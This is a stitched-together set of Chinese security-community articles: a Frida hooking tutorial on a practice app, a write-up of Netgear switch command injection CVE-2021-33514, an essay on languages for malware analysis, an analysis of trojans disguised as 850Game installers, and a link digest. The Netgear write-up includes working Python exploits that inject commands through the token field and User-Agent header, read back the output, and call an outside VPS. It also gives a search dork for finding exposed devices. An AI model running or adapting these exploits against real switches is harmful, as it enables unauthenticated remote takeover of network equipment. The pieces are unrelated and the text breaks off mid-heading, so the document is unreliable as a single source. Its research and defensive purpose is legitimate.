<https://www.express.co.uk/news/uk/866305/uk-iran-cyber-attack-hacking-nuclear-deal-donald-trump-war-westminster>
安卓勒索软件加密手机后顺带帮你改PIN码
<https://thehackernews.com/2017/10/android-ransomware-pin.html>
**技术类：**
勒索软件周报，新勒索软件x1881 Cryptomix
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-13th-2017-doublelocker-locky-and-more/>
<https://www.bleepingcomputer.com/news/security/new-x1881-cryptomix-ransomware-variant-released/>
Opentext Documentum Cotent Server多个严重漏洞exp公布
<https://packetstormsecurity.com/files/144613/CVE-2017-15276.py.txt>
Adobe Coldfusion反序列化漏洞RCE
<https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/>
信息时代轮船也难逃黑手
<https://www.bleepingcomputer.com/news/security/to-nobodys-surprise-ships-are-just-as-easy-to-hack-as-anything-else/>
DNS工具套装
<https://github.com/iagox86/dnsutils>
汇编应用——游戏机上的Helloworld
<http://pp.feeb.dog/gb_z80_helloworld.txt>
Web Audio Modem
<https://martinmelhus.com/web-audio-modem/> | 社区文章 |
## 前言
> frida Xposed简单对比
学安卓hook入门的时候纠结于选用哪个平台,Xposed和frida看了看,都在脑子里云了一下觉得都好好用,于是干脆和教程反着来,看着师傅[Xposed](https://www.52pojie.cn/thread-850885-1-1.html)的文章后用frida复现一遍(实战链接也在文章中,就不发出来了),而且之前[Peanuts](https://xz.aliyun.com/t/4839)师傅也发过Xposed的了.
其实两者差别还是比较大的,就拿工作方式来说,Xposed走的是开发那一套,,重新写组件后再打包用,可以说是一劳永逸,以后直接拿apk就能用;frida则不然,它的方式是把js代码注入到进程的方式,简单但是缺点也很明显就是不好用到实际app的使用中
## 环境搭建
### 本机实验环境
python3.7
夜神模拟器Android5.1.1
Windows10
### frida 安装
pip install frida
pip install frida-tools
### frida-server 安装运行
先看看自己模拟器平台,一般模拟器架构都是x86的
λ adb shell getprop ro.product.cpu.abi
x86
我这边是x86的,到[frida-releases](https://github.com/frida/frida/releases)这找到对应版本进行下载,之后用adb把它push到手机中,转发到本机端口,起frida-server
adb push frida-server /data/local/tmp
adb forward tcp:27042 tcp:27042
adb shell /data/local/tmp/frida-server
已经起来了,可以用`frida-ps -U`看看模拟器进程
## hook实战测试
> 实战链接在最上方
就直接拿师傅的程序搞了,师傅用写xposed组件的方式写的,我就拿frida复现一遍,同时实现几个别的思路,开始吧
### 解锁码
先装到手机上测试,发现进去后要一个key进行解锁.
使用反编译工具(我用的jadx)打开apk,发现有两个小测验,第一处是要一个解锁码,解锁码与程序算出来的完全一致就跳到下一个挑战.
进入加密函数一探究竟,可以看到进行了加密.
之后程序使用equals函数判断和我们输入的是否相等(在此之前程序有一处输出解锁码的函数,即a.a,不过因为条件不满足未执行).
了解流程后进行打hook绕过,思路有两种,一种是把真实的解锁码打印出来(这思路等下用两种方式实现,分别是hook掉打印函数a.a和系统函数equals的方式),还有偷鸡的方式就是直接修改加密函数return一个我们控制的值,之后在输入的时候直接输我们的值就好了.
在注入js代码的时候有两种方式,分别是js直接加载和使用python的方式,python当作一个loader的角色把js代码注入进去,python代码在最下侧,本篇用的是python的方式.下面是js代码(这代码不用纠结,和pwntools一样用多了就熟练了):
console.log("Script loaded successfully ");
Java.perform(function x() {
var String = Java.use('java.lang.String')//定位到要hook的类名
String.equals.implementation = function (arg1) {//equals就是我们要hook的函数
console.log("your input : " + this.toString());
console.log("I'm the real key : " + arg1);//打印出来真实的解锁码
var ret = this.equals(arg1);
return ret;//返回值
}
var Show_key = Java.use("com.hfdcxy.android.by.a.a");
Show_key.a.overload("java.lang.String").implementation = function (args1) {
console.log("Your_key_is" + args1);//打印解锁码
}
var my_class = Java.use("com.hfdcxy.android.by.test.a");
my_class.a.implementation = function () {
return "123456789";//使用"123456789"当返回值
}
});
三种方法都能完成步骤一的hook,使用python注入一下看看效果
看到了输入的123和真正的作比较
成功了,进入下一个界面.本质上是两种方法,一种是hook自实现函数,一种就是hook系统函数
### 点金币,开宝箱
点金币的这个onclick执行的函数很简单,就是点击一次后coin加i(原本程序i等于1)
开宝箱按钮就是判断你的coin值大小,大于等于9999就完成挑战
这里再介绍另一种姿势,就是修改函数的参数完成参数调用,frida实现起来也很简单,见js:
console.log("Script loaded successfully ");
Java.perform(function x() {
var coin = Java.use("com.hfdcxy.android.by.test.b");
coin.a.overload("android.content.SharedPreferences", "android.widget.TextView", "int").implementation = function (args1,args2,args3) {//overload后接的参数都是这个a函数的参数
return this.a(args1,args2,9999)//把参数改成9999,这样一次就能加9999个了
}
});
点了几次coin就很大了,直接满足条件
## 总结 & python loader
可以看到frida在hook时真的方便,代码也不难,本篇js太过简单,有好多很nb的模板都可以拿来练练并测试,[官方文档](https://frida.re/docs/javascript-api/)也是深入学习的好去处
import time
import frida
device = frida.get_remote_device()
pid = device.spawn(["com.ss.android.ugc.aweme"])#程序名
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
with open("s1.js") as f:
script = session.create_script(f.read())
script.load()
input() | 社区文章 |
**作者：OneShell@知道创宇404实验室
时间：2021年7月21日**
## 漏洞信息
CVE-2021-33514是发生在Netgear多款交换机上的命令注入漏洞，可以未认证远程代码执行，CVSS3：9.8（高危）。
漏洞产生的根本原因是libsal.so.0.0中的函数`sal_sys_ssoReturnToken_chk`存在命令注入，这个函数用于处理url中的`tocken`字段，直接将`tocken`传递到格式化字符串中，然后调用`popen`执行。后端处理setup.cgi加载了该so文件，并且在处理url的时候调用了该存在漏洞的函数。漏洞利用起来也非常简单，直接给cgi发送构造了命令的请求就可以。
Netgear官方给出的受漏洞影响设备和固件版本如下表：
影响设备 | 固件版本
---|---
GC108P | <=1.0.7.3
GC108PP | <=1.0.7.3
GS108Tv3 | <=7.0.6.3
GS110TPP | <=7.0.6.3
GS110TPv3 | <=7.0.6.3
GS110TUP | <=1.0.4.3
GS710TUP | <=1.0.4.3
GS716TP | <=1.0.2.3
GS716TPP | <=1.0.2.3
GS724TPP | <=2.0.4.3
GS724TPv2 | <=2.0.4.3
GS728TPPv2 | <=6.0.6.3
GS728TPv2 | <=6.0.6.3
GS752TPPv1 | <=6.0.6.3
GS752TPv2 | <=6.0.6.3
MS510TXM | <=1.0.2.3
MS510TXUP | <=1.0.2.3
## 漏洞复现
复现过程仅仅使用了python的requests模块，设备使用的是放置在公网的GS110TPP，固件版本V7.0.1.16，使用的so和cgi程序关键代码差别不大，具有代表性。通过分析交换机固件发现里面常见的可以反弹shell的程序都木有，那验证命令执行就使用了curl，用它去访问我的公网VPS，如果nc检测到访问，说明发生了命令注入。
import requests
vul_url = 'https://X.X.X.X/cgi/setup.cgi?token=\';$(cat);\''
payload = 'curl X.X.X.X.X:8080'
try:
res = requests.post(url=vul_url, data=payload, verify=False, timeout=10)
print('[!] should not return any thing')
except:
print('[+] success!')
## 漏洞分析
### 固件提取
首先在Netgear官网上可以下载到存在漏洞的固件，必须赞扬一下Netgear，基本上以往的固件都可以下载到，而且几乎都是没有加密的，这对漏洞分析来说大大的好。下载到固件了按照流程`binwalk
-Me`一把梭，然后使用find就会发现，找不到存在漏洞的so文件也找不到存在调用so的cgi程序。仔细看解压出来可能的文件系统文件夹里面，其实还有modsqfs.img和sqfs.img两个文件，这还得binwalk继续梭了这两个文件，才能有得到存在漏洞的so和cgi。
### 静态分析
流程上还是比较简单的。首先看一下`libsal.so`里面存在漏洞的函数`sal_sys_ssoReturnToken_chk`，下面是直接贴出来IDA反编译结果，可以看到直接将函数输入`a1`，格式化字符串到`v25`中，然后调用`popen`执行了`v25`。
再看看`setup.cgi`中是如何调用这个函数的，这个地方注意，C语言的或逻辑是，如果前面的判定通过了，后续就不进行判定。第一个判定是检查`query_string`中是否含有`tocken`字符串，当我们构造了payload那么判定会失败，则继续执行后面使用逗号连接的C语句，调用漏洞函数。`strtok`函数用于使用特定字符分割字符串，详情使用可以参考函数说明，最终就把`tocken`字段的值赋值给`v9`。
### 关于CGI以及此处payload的写法
**CGI如何处理用户请求**
之前分析的路由器后端的程序，大多是某某httpd+cgi的做法，当时对于cgi程序如何获取到url传递的参数就仅仅有一个感性的认识：通过环境变量来进行传参，如果是GET请求，那么看环境变量`QUERY_STRING`，如果是POST请求，可能先从`CONTENT_LENGTH`获取数据长度，然后从`STDIN`中读取指定长度的数据。但对于cgi程序是如何执行的，与httpd之间的关系是什么，还是有点迷糊。于是找了一些文章大概看了下。
CGI（Common Gateway
Interface）实际上是一种约定，一种接口协议，可以使用c、python、lua、php来实现。WEB服务器会根据CGI的类型决定如何向CGI程序传递数据，一般都是通过标准输入/输出流和环境变量来与CGI程序进行数据传递。例如这个地方的WEB服务器使用的是lighthttpd，通过逆向可以找到有一个函数`http_cgi_headers`是用来传递给CGI程序的一些环境变量的。
如果是使用的POST方式，服务器设定`CONTENT_LENGTH`环境变量说明POST数据的有效数据字节数，然后CGI通过传递的这个环境变量，从标准输入`STDIN`中去读取数据。在POC里面，首先token字段值会被注入，然后`$(cat)`从从标准输入中去读取数据，而此时POST的数据也被传递到了标准输入中，那么就相当于直接执行了POST发出的数据。
**payload的另一种写法**
如上，是通过环境变量和标准输入传递参数给CGI的，最开始的payload是通过POST请求将数据通过标准输入传递给CGI，而且没有执行结果回显。那么接下来使用GET请求+环境变量+获取执行结果的方式重新来写一次payload。
首先确定将要执行的命令通过哪一个环境变量传入，这个地方选择了`User-Agent`环境变量，也是经常被使用到的一种方式。其次是决定通过何种方式进行回显，此处是将执行结果写入到`/webtmp/`文件夹的一个js文件中。由于`/webtmp/`文件夹和`/tmp/`是链接起来（固件文件系统中查看）的，因此写入到`/webtmp/`文件夹，然后使用URL访问`/tmp/`中的js文件即可。
from requests.api import head
import requests
import random
import string
requests.packages.urllib3.disable_warnings()
proxy = {
}
letters = string.ascii_letters
vul_addr = 'https://X.X.X.X'
vul_url = vul_addr + '/cgi/setup.cgi?token=\';$HTTP_USER_AGENT;\''
random_str = ''.join(random.choice(letters) for i in range(10))
cmd1 = input('InputCMD: ').replace(' ', '${IFS}')
cmd2 = f'rm /tmp/{random_str}.js'.replace(' ', '${IFS}')
payload1 = f'sh -c {cmd1}>/webtmp/{random_str}.js'
payload2 = f'sh -c {cmd2}'
header = {}
try:
header['User-Agent'] = payload1 # 注入命令并将结果写入到js文件
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy)
if res.status_code == 200:
print('[+] command send success')
result_file = vul_addr + f'/tmp/{random_str}.js'
result = requests.get(result_file, timeout=5,
verify=False, allow_redirects=False, proxies=proxy) # 读取结果js文件
print('[+] get result')
print(result.text)
print('[+] rm tmp result file')
header['User-Agent'] = payload2
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy) # 删除结果js文件
except Exception as e:
print(e)
## 小结
这次的命令注入漏洞逻辑是比较简单的，注入点不需要很长的变量依赖分析。通过对于Netgear几次命令注入漏洞的分析，心中大概也清楚嵌入式设备中路由器大概是怎么获取用户请求数据，然后如何传递给CGI程序进行处理的。
## 使用zoomeye和pocsuite3
### 漏洞影响面
通过ZoomEye网络空间搜索引擎，搜索ZoomEye dork数据挖掘语法查看漏洞公网资产影响面。
[zoomeye dork](https://www.zoomeye.org/searchResult?q=%3Faj4%2BfileVer)
关键词："?aj4+fileVer"
[漏洞影响面全球视角可视化](https://www.zoomeye.org/globalmap/%3Faj4%2BfileVer/all/0)
### verify模式
### attack模式
## 参考文献
* <https://www.cnblogs.com/liuzhang/p/3929198.html>
* * * | 社区文章 |
# 用于学习恶意软件分析的最佳编程语言
##### 译文声明
本文是翻译文章，文章原作者 MalwareTech
原文地址：<https://www.malwaretech.com/2018/03/best-programming-languages-to-learn-for-malware-analysis.html>
译文仅供参考，具体内容表达以及含义原文为准。
在过去，许多人会经常问我一个问题：“我想要入门恶意软件分析和逆向工程领域，应该学习什么编程语言？”为了回答这个问题，我将详细讲解我认为最适合的前三种语言，希望大家可以通过阅读本文找到自己认为最有用的语言。在本文中，我将重点讨论本地恶意软件（也就是不需要Java、Python或.NET等框架就能直接运行的恶意软件），因为这是最常用的类型，如果能够理解了这一类型，那么对其他类型的恶意软件也就变得轻车熟路。本文将不会涉及物联网或移动恶意软件的相关内容，因为我对这一领域并没有太多的经验。
## 第三名：Python
Python是一种具有多种用途的语言，当我需要快速完成某些工作时，我会选择使用Python语言。虽然其他几种语言的开发速度很快，但我发现Python具有可读性高、可快速开发、易于学习的优点。由于Python是一种解释型语言，所以解释器可以为我们完成不同操作系统之间的所有转换，因此我们仅需要编写一次代码就可以一劳永逸，而我们的代码可以在任何操作系统上运行。尽管我是一位Linux服务器的忠实粉丝，但我还是使用Windows作为日常主要使用的操作系统。因此，如果能在我的Windows上面编写并测试代码，然后在完成后将其上传到服务器上，这样就会特别方便，而不再需要尝试通过PuTTY终端开发和测试代码。
### 恶意软件分析
我最喜欢的一个Python的用途就是快速复制恶意软件的组件，以便更好地理解其工作方式，并获得恶意软件自身的接口，从而实现更快速的分析。我的TrickBot工具包就是一个很好的例子，它能有助于解决逆向模块化恶意软件时所遇到的一些问题。
我在研究TrickBot的过程中，遇到的一个主要问题就是它会使用被黑客入侵的服务器来控制恶意软件，当然，其中大部分服务器都会很快就关闭。在获得新样本后的几天之内，所有硬编码的控制服务器都会发生死机，并且样本开始失效。在对恶意软件所使用的加密和解密代码进行分析之后，我可以编写一个简单的Python脚本，该脚本可以允许我解密并修改任何TrickBot的配置文件，我通过这些文件来编辑主配置文件，并为其指定新的控制服务器，这些控制服务器是其他恶意软件分析者在网络上发布的。
我写的另一个脚本是用于命令与控制的基础结构接口，该脚本可以帮助我在不运行恶意二进制文件的前提下，就能获取到命令、有效载荷以及新的服务器地址。如果我们非常注重个人主机的风险防范，那么可能不希望在连接到互联网的系统上运行恶意软件。相反，通过Python来离线分析恶意软件并重新实现需要访问互联网的代码，这是非常有意义的。我们可以完全控制恶意软件的功能，使其不再发送真实数据，甚至是发送蜜罐凭据。
### 调试器扩展
通常，分析任务往往是枯燥、无聊的，并且需要耗费大量的时间，所以如果能识别这些任务并使其自动化完成，那么将会非常有帮助。我所使用的每个调试器和反汇编器都有自己的内置语言脚本，但如果我们使用多个调试器或反汇编器，那么恐怕就需要学习大量不同的脚本语言，这是没有意义的。但幸运的事，几乎所有的调试器或反汇编器都支持Python。
以前我写过一篇文章，主要讲解了如何使用Python实现任务的自动化，在文章中我是以IDA
Pro为例的。在我的分析中，我使用了Python对Dridex系列进行自动解密、评论和转储加密字符串。此外，我还展示了如何使用它来处理只能在调用时才能解析的问题，这样使得静态分析更为简单。
在上面的示例中，脚本会遍历Dridex二进制文件中的每个加密字符串。然后进行解密，并转储每个字符串，在这过程中不需要运行恶意软件。
### 任务自动化
Python以其拥有大量可下载的库而闻名，它实现了各种不同的功能，可以让用户无需从头开始编写代码，就能够在计算机上高效地自动执行几乎任何任务。使用Python进行任务自动化，不仅仅适用于恶意软件的分析，对其他许多方面的工作都很有用。我编写过脚本来检查命令与控制域、在VirusTotal上传或查询文件、加载用于分析恶意软件的虚拟机等。Python是编程界的瑞士军刀，值得我们对其进行学习，并用于分析恶意软件。
## 第二名：C
对于作者而言，C语言是我在12岁开始学习相关技术之后，第一个熟练掌握的编程语言。由于我的梦想是成为一名程序员，因此我学习C的初衷并不是想研究逆向工程，也没有想到我学到的知识会在如今作为恶意软件分析工作的基础。尽管我并不会坚持让你掌握C语言，但我会在本文中提出如何阅读和理解的相关建议，这对于恶意软件分析来说是有所帮助的。
### 查看官方文档
即使对于一个经验丰富的逆向工程师，有时也会遇到不熟悉的某个恶意软件代码中的函数调用。如果想要了解该函数的功能、参数、如何对其初始化、返回什么结果，那么最好的方法就是调出文档并进行阅读。
例如，我们在Windows和Linux文档中查看“connect”函数。
在这两种环境下，函数的定义都是用C语言写成的（尽管左边的MSDN文档中说是C++，但实际上就是C语言）。在C中，传递给函数的每个参数都有一个“类型”，它只是指定其所包含的数据类型（数字/文本/二进制数据）。在示例中，第三个参数都是“sockaddr”类型，这是一个常见的C语言中的类型。如果能了解“sockaddr”是什么，我们就能够知道它需要什么数据、如何对其进行引用以及如何对其进行解释。由于“sockaddr”是一个结构，我们必须首先查找sockaddr的定义，找到它的数据类型，然后查找每个单独的数据类型，这实际上也是学习C语言的过程。MSDN中也经常提供示例C语言代码，来解释一个函数中的用法，阅读这些代码是了解函数之间关系的一种快速而有效的途径。
### 无官方文档的情况
对于像Microsoft
Windows这样的闭源操作系统，就有很多没有记录的数据结构和功能，其原因通常是它们不应该被除微软之外的任何人使用。这些数据结构和功能通常被称为Windows内部机制。恶意软件开发者喜欢滥用内部机制来绕过安全控制，或者是为了迷惑恶意软件分析师。为了了解其内部结构，尽管我们可以对操作系统自身进行逆行工程，但该过程耗时过多且异常困难。然而，如果我们掌握了C，就有一个更快的方式。
(1) ReactOS源代码
ReactOS是一个用C语言编写的开源操作系统，旨在与Windows Server
2003可执行文件相兼容。为了保证与Windows二进制文件的兼容性，开发人员必须对NT 5.2（用于Windows 2000、Windows Server
2003和Windows
XP的Windows操作系统核心版本）进行逆向工程并重新实现，因此许多Windows中的相关机制都可以通过ReactOS来了解。由于Windows
XP仍然占有较大的市场份额，因此恶意软件开发者仍然会为了使他们的恶意软件兼容XP，而付出很多的努力，所以我们很难看到不支持5.2内核的恶意软件。就我个人而言，我借助ReactOS源代码来了解Windows内部知识，这样我就可以在真正的Windows操作系统上成功使用它了。
(2) Windows研究内核
Windows Research
Kernel（WRK）是微软为研究人员提供的NTOS内核源代码的一个子集，其中包含大部分核心内核的源代码，但也有一部分内容被删除。尽管WRK仅包含Windows的内核部分，但它仍然可以用于帮助我们理解非内核的恶意软件，因为内核的某些部分经常被Rookie滥用的“Native
API”暴露给用户级应用程序。最初，WRK很难获得，只作为各种计算机科学研究计划的一部分提供给经过认证的大学，但从那时开始，一些旧版本陆续被发布到GitHub，因此微软决定公开发布。尽管WRK不像ReactOS那样完整，但它还是具有一些优点，例如包含64位Windows内核的代码，并且它是由Microsoft编写的实际代码，并不是通过逆向工程而制作的副本。
### 泄露的恶意软件
要了解恶意软件工作模式并在逆向工程中读取实际恶意软件的源代码，最好的方法之一就是阅读真实恶意软件的源代码。显然，恶意软件开发者并不会轻易公开源代码，所以我们不可能获得大部分恶意软件的源代码。但是，一些庞大的恶意软件家族的源代码会在某个时间节点被披露（例如Zeus、Mirai、Carberp、ISFB、Rovnix）。大部分泄漏的恶意软件源代码都可以在GitHub找到，但我建议最好避免下载这些代码，因为其中可能会存在感染计算机的威胁。请注意，在某些国家，拥有恶意代码甚至可能违反法律。
### IDA Pro伪代码
带有反编译器的完整版IDA Pro中有一个选项，可以将程序集显示为“伪代码”，这会导致它提供与程序集相匹配的代码。
虽然IDA伪代码在技术上并不是100%有效的C语言代码，其中有着细微的差别，但对于任何能阅读C语言的人来说，该伪代码都是清晰可读的。伪代码可以让我们快速了解代码的功能，可以有效节省时间。
## 第一名：汇编语言
汇编语言（ASM）是每一位逆向工程师的工具箱中最重要的一个工具，它是机器码的人类可读版本，是计算机CPU实际理解的唯一语言。任何在没有解释器的情况下在计算机上运行的代码，都必须被编译成机器代码，机器代码是一组0、1指令，该指令告诉CPU要做什么。像C、C++、GoLang、Pascal和Haskell这样的语言，都会被编译（翻译）成机器代码，因此大多数软件（包括恶意软件在内）都可以使用反编译器（将机器代码翻译成人类可读版本的汇编语言）。如果你能够很好地阅读汇编语言，那么就不需要使用高级语言，直接可以分析汇编语言的代码。同样，这一技能在恶意软件分析之外的很多地方都非常有用。
然而，因为汇编语言只是一个人类可读版本的机器代码，由于不仅仅有一种机器代码，所以也不仅仅存在一种汇编语言。不同类型的CPU会接受不同类型的指令，当你学习汇编语言时，其实只是在学习CPU所支持的指令内容（称为指令集）。在学习汇编语言之前，我们应该首先选择要学习的汇编语言指令集。目前，有两个在传统计算机上非常常见。
### i386
英特尔Inter
80386，简称为i386，是x86指令集的32位版本，几乎用于所有的32位桌面计算机、服务器和笔记本电脑之中。运行Windows、Linux或Mac的计算机，如果是32位的，那么CPU就很可能是基于i386。由于这是最常见的指令集，因此如果有人在说到“汇编”时，可能就是在指i386。
当Microsoft开始设计64位操作系统时，他们遇到了很大的麻烦，因为他们需要确保32位（i386）应用程序仍然可以正常工作。目前，大多数Windows恶意软件开发者只编写32位恶意软件，因为它可以同时在32和64位操作系统上运行。即使在64位Windows上，大多数恶意软件仍然是基于i386，因此这也是我推荐的指令集
### x86_64
这是x86的64位版本，也是现代计算机中较为常见的指令集。由于x86系列中的体系结构都保持了强大的向后兼容性，因此所有x86_64
CPU都可以执行i386指令，而大多数64位指令与i386指令非常相似，因此首先学习i386汇编，然后再学习x86_64是有意义的，因为x86_64指令集本质上包括i386。
虽然64位Windows可以运行i386应用程序，但其他操作系统并不支持，因此所有本地代码都必须是x86_64。更高级的Windows恶意软件系列通常会在64位Windows上部署64位版本的代码，并且所有内核模式函数都是64位的，因此x86_64汇编语言对于了解i386也是非常有价值的。
## 结论
如果此前没有程序设计经验，要转型成为恶意软件逆向工程师并不是很容易，但学习编程的这一过程能有非常多的收获。如果我们掌握编程语言（特别是汇编和C语言等），那么就可以更快地学习其他语言，并能更好地掌握计算机的工作原理。编程是市场化程度最高的一个计算机相关技能，即使最后没有成为恶意软件分析师，我们也可以借助该语言进行编程，所以希望大家不要觉得为了开始分析恶意软件而学习一种程序设计语言是非常麻烦的行为。 | 社区文章 |
# 【木马分析】远控盗号木马伪装成850Game作恶
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
近期，360QVM团队捕获到一类在网上广泛传播的远控盗号木马，该木马伪装为正规棋牌游戏850Game的安装程序，在伪造的钓鱼网站（如：[www.gam850.com](http://www.gam850.com/)）上挂马并诱骗用户下载。木马一旦入侵电脑，将盗用包括主机名、系统版本、磁盘信息、键盘操作信息等数据，并进一步实现窃取游戏账号及远程控制等恶意操作。
伪造的850Game钓鱼网站
**木马伪装**
木马制作者将木马程序和游戏棋牌程序捆绑在一起进行传播，当用户开始安装后，程序除了在“C:Program
Files”下安装850棋牌游戏外，还会在C盘目录下创建一个隐藏文件夹“$MSRecycle.Bin”，并在其中释放木马程序并将其执行起来。有了正常安装程序做“伪装”，该盗号木马可以在用户毫不知情的情况下侵入电脑。
**木马分析**
“$MSRecycle.Bin”目录下的“TsiService.exe”执行后，会读取同目录下的“xp.ios”进行解密再通过加载到内存中执行。
通过解密算法对“$MSRecycle.Bin”目录下“xp.ios”进行解密，我们就能得到木马程序。
解密前
解密后
遍历进程，检测杀软
连接CC地址：[www.gam564.com](http://www.gam564.com)，端口为19999
获取用户信息
获取主机名
获取系统版本
通过cmd命令创建guest用户，并提升权限置管理员
通过将$MSRecycle.Bin”目录下的MicroRecycle.dll添加到HKEY_LOCAL_MACHINESOFTWAREMicrosoftRasAdminDlldllpath中实现开机启动
获取键盘信息
除了上面描述的行为外，程序还会开启计算机3389端口、远程接受命令、创建用户等等行为，这里就不再赘述了。
考虑到最近有大量用户反馈遇到很多这样伪装成棋牌游戏的站点，我们对上述伪造棋牌游戏的木马涉及的域名信息（gam850.com）继续进行追查，我们得到了该域名的所有者的名称和联系邮箱。
通过查询该邮箱进行邮件反查，得到这个邮箱关联的两个域名。
而993game.com同样也是一个伪装成棋牌游戏的网站，下载的电脑版的游戏大厅程序也是一个木马程序，功能与gam850.com中的木马程序差不多，就不再重复了。整理前面获取域名的信息，我们将两个域名进行简单的关联：
在后续的样本分析过程中，又发现一些网站同样是通过伪造成game850棋牌游戏进行传播木马程序，域名如下表：
从gamebb.tw下载的850lobby.exe这个伪装成棋牌游戏的程序，它在执行安装的过程中会先在临时目录中创建正常的game850游戏安装包并将其执行，给用户一种程序正在正常安装的假象。
其实，它在后续的过程中会在C:\WINDOWS下释放一个木马程序，随后再利用创建的vbs脚本将自身删除。木马的主要主要行为：
连接CC地址：wuu.us
拷贝自身到C:\WINDOWS目录，文件名为随机的6个字母。
添加DirectX服务项实现开机自启动，达到常驻受害者电脑的目的
创建vbs脚本将执行程序自身删除
遍历进程，检测杀软程序
联网下载文件
获取用户信息（主机名、系统版本、磁盘信息、用户名、CPU信息等等）
开启3389端口、键盘记录、远程接受命令、创建用户等等
同样的，我们也对by850.com下载的850lobby.exe进行了简单的分析，这个伪装棋牌游戏的木马程序主要行为有：
将植入远控木马的时间存到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesFSkcia
msmaowaw中的MarkTime
通过在115.28.72.212:8080上下载正常的850棋牌游戏到C盘目录下并执行，伪造程序正在正常安装的假象。
将木马程序自身添加到启动文件夹中，实现开机自启
连接CC地址：www88369.com
遍历进程，检测杀软
获取用户信息（主机名、系统版本、磁盘信息、用户名、CPU信息等等）
开启3389端口、键盘记录、远程接受命令、创建用户等等
继续对这两个木马程序访问的两个CC地址进行追查得到这两个域名的注册人和注册邮箱信息。
而从木马的主要行为来看，这些伪造棋牌游戏的木马都比较相似，猜测这批伪装成850棋牌游戏网站的站点背后的操作者很有可能是同一伙人。
**传播方式**
由分析可知，这一批木马程序都是通过伪装成棋牌游戏进程传播木马，现将这一批伪装成棋牌游戏的网站整理如下：
通过查询域名持有者的邮箱信息，整理得到这一批伪装成棋牌游戏网站的域名持有者邮箱信息如下：
通过整篇分析下来，我们发现这些伪造成棋牌游戏的木马所涉及的技术相当普通。它们只不过是幕后的那些操作者通过注册与正规棋牌游戏域名相似的域名，并将木马与棋牌游戏捆绑在一起上传到伪装成棋牌游戏的站点上诱骗用户下载。
最后提醒广大用户，在上网时切勿轻易点击来历不明的邮件附件、网页链接以及推广广告等，同时要做好安全防护措施，不要轻易透露个人信息，切实提高防范意识和自防能力，避免造成不必要的损失。 | 社区文章 |
# 【知识】9月8日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：Windows内核bug阻止安全软件识别恶意软件、微软拒绝修复Edge浏览器中的内容安全策略绕过问题、如何利用Python反序列化漏洞、Struts
REST漏洞
(CVE-2017-9805)检测payload、TrickBot银行木马Dropper分析、CVE-2017-0780：可使Android的Messages应用程序crash的拒绝服务漏洞分析。**
****资讯类：****
********
********
Windows内核bug阻止安全软件识别恶意软件
<https://www.bleepingcomputer.com/news/security/bug-in-windows-kernel-could-prevent-security-software-from-identifying-malware/>
微软拒绝修复Edge浏览器中的内容安全策略绕过问题
<https://www.theregister.co.uk/2017/09/07/talos_says_msft_edge_content_security_bypass_is_a_feature_wont_be_patched/>
**
**
**技术类：**
****
如何利用Python反序列化漏洞
[https://crowdshield.com/blog.php?name=exploiting-python-deserialization-vulnerabilities](https://crowdshield.com/blog.php?name=exploiting-python-deserialization-vulnerabilities)
Windows内核池混合对象漏洞利用
[http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html](http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html)
Linux进程间代码注入
[https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html](https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html)
PiFinger：检测当前网络中是否存在Wifi- Pineapple，并评估当前wifi网络的安全性
[https://github.com/besimaltnok/PiFinger](https://github.com/besimaltnok/PiFinger)
无线网络后渗透的艺术：通过Indirect Wireless Pivots绕过端口访问控制
[https://github.com/GDSSecurity/Whitepapers/blob/master/GDS%20Labs%20-%20The%20Black%20Art%20of%20Wireless%20Post%20Exploitation%20-%20Bypassing%20Port%20Based%20Access%20Controls%20Using%20Indirect%20Wireless%20Pivots.pdf](https://github.com/GDSSecurity/Whitepapers/blob/master/GDS%20Labs%20-%20The%20Black%20Art%20of%20Wireless%20Post%20Exploitation%20-%20Bypassing%20Port%20Based%20Access%20Controls%20Using%20Indirect%20Wireless%20Pivots.pdf)
DolphinAttack: Inaudible Voice Commands
[https://endchan.xyz/.media/50cf379143925a3926298f881d3c19ab-applicationpdf.pdf](https://endchan.xyz/.media/50cf379143925a3926298f881d3c19ab-applicationpdf.pdf)
Jungo DriverWizard WinDriver – 内核池溢出
[https://www.exploit-db.com/exploits/42624/](https://www.exploit-db.com/exploits/42624/)
Apache Struts 2.5 – Remote Code Execution
[https://www.exploit-db.com/exploits/42627/](https://www.exploit-db.com/exploits/42627/)
CVE-2017-0780：影响Android消息应用程序的拒绝服务漏洞分析
[http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-denial-service-vulnerability-android-messages-app/](http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-0780-denial-service-vulnerability-android-messages-app/)
Hunting Pastebin with PasteHunter
[https://techanarchy.net/2017/09/hunting-pastebin-with-pastehunter/](https://techanarchy.net/2017/09/hunting-pastebin-with-pastehunter/)
Windows内核驱动程序漏洞利用
[https://glennmcgui.re/introduction-to-windows-kernel-exploitation-pt-1/](https://glennmcgui.re/introduction-to-windows-kernel-exploitation-pt-1/)
RHME3 Quals – Exploitation
[https://glennmcgui.re/rhme3-quals-exploitation/](https://glennmcgui.re/rhme3-quals-exploitation/)
过期的域名和恶意软件
[https://blog.malwarebytes.com/threat-analysis/2017/09/expired-domain-names-and-malvertising/](https://blog.malwarebytes.com/threat-analysis/2017/09/expired-domain-names-and-malvertising/)
Detection payload for the new Struts REST vulnerability (CVE-2017-9805)
[https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/](https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/)
TrickBot银行木马Dropper分析
